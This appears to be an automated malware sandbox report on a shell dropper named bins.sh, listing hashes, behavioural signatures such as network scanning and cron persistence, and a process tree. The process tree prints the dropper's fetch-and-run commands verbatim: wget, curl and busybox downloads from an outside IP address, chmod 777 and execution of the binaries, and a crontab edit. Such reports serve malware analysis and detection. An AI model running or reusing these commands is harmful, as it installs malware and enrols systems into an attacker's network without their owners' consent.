Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 22:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26b007b58f7b3e7d4d06412d32ff28e3

  • SHA1

    cd4b89120da91b247046d0ff97dcf15f7de24c67

  • SHA256

    3b8bfbb4ad9a3c9263dcfa5c9f7775892facd8db73df1e45c577682378240c2a

  • SHA512

    9a1c4af960422cf737405359bc9f83045425369dcbd7ae97c201061b817392c34518f84af6a0419b506c50c32e4a865a6267d64e8c133e7ec85af1e70bb38a97

  • SSDEEP

    192:XIkHYgEwH5Gj+fvvozvRsaqn8wV8aqn8w7Mvvozv5IkHYgSzD:XIkHYgEwH5Gj+UQIZIkHYgSzD

Malware Config

Signatures

  • Contacts a large (2091) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:646
        • /usr/bin/wget
          wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:648
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:676
        • /bin/chmod
          chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:695
          • /bin/chmod
            chmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            ./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
              PID:703
            • /usr/bin/wget
              wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:704
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:714
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:729
            • /bin/chmod
              chmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • File and Directory Permissions Modification
              PID:734
            • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              ./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:735
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:737
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:738
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:740
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:741
                  • /bin/rm
                    rm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
                    2⤵
                      PID:744
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                      2⤵
                        PID:747

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

                      Filesize

                      122KB

                      MD5

                      cd3d4b9c643e5b473fb4d88ed05f0716

                      SHA1

                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                      SHA256

                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                      SHA512

                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                    • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5

                      Filesize

                      107KB

                      MD5

                      eb9c3a0de91fcf16ba17cb24608df68c

                      SHA1

                      09d95a7d70d5e115d103be51edff7c498d272fac

                      SHA256

                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                      SHA512

                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                    • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

                      Filesize

                      127KB

                      MD5

                      89077b7bd4bcafca7713be43635c4862

                      SHA1

                      fc02edb8fba29ea8ee99e6157ef8560334530052

                      SHA256

                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                      SHA512

                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                    • /var/spool/cron/crontabs/tmp.aEv0Gg

                      Filesize

                      210B

                      MD5

                      a8e067e0ff5d8cce256423dfa3b58e0e

                      SHA1

                      1f461e13b240caa2dd3c3420505d9bd6a032aee1

                      SHA256

                      e0b50ab0a1aec9f597f5281b0ed162051f83ccd372c6a18ea46aec53474a555f

                      SHA512

                      ce4f4f6170b5030caf69630d663f1c6996019a53366bb37894daa4400b1a389f4b7e81555df66b5e0bdd5ed1b3a78d6166f1e3a0a10cb14f0f7f4cc5f25c14ca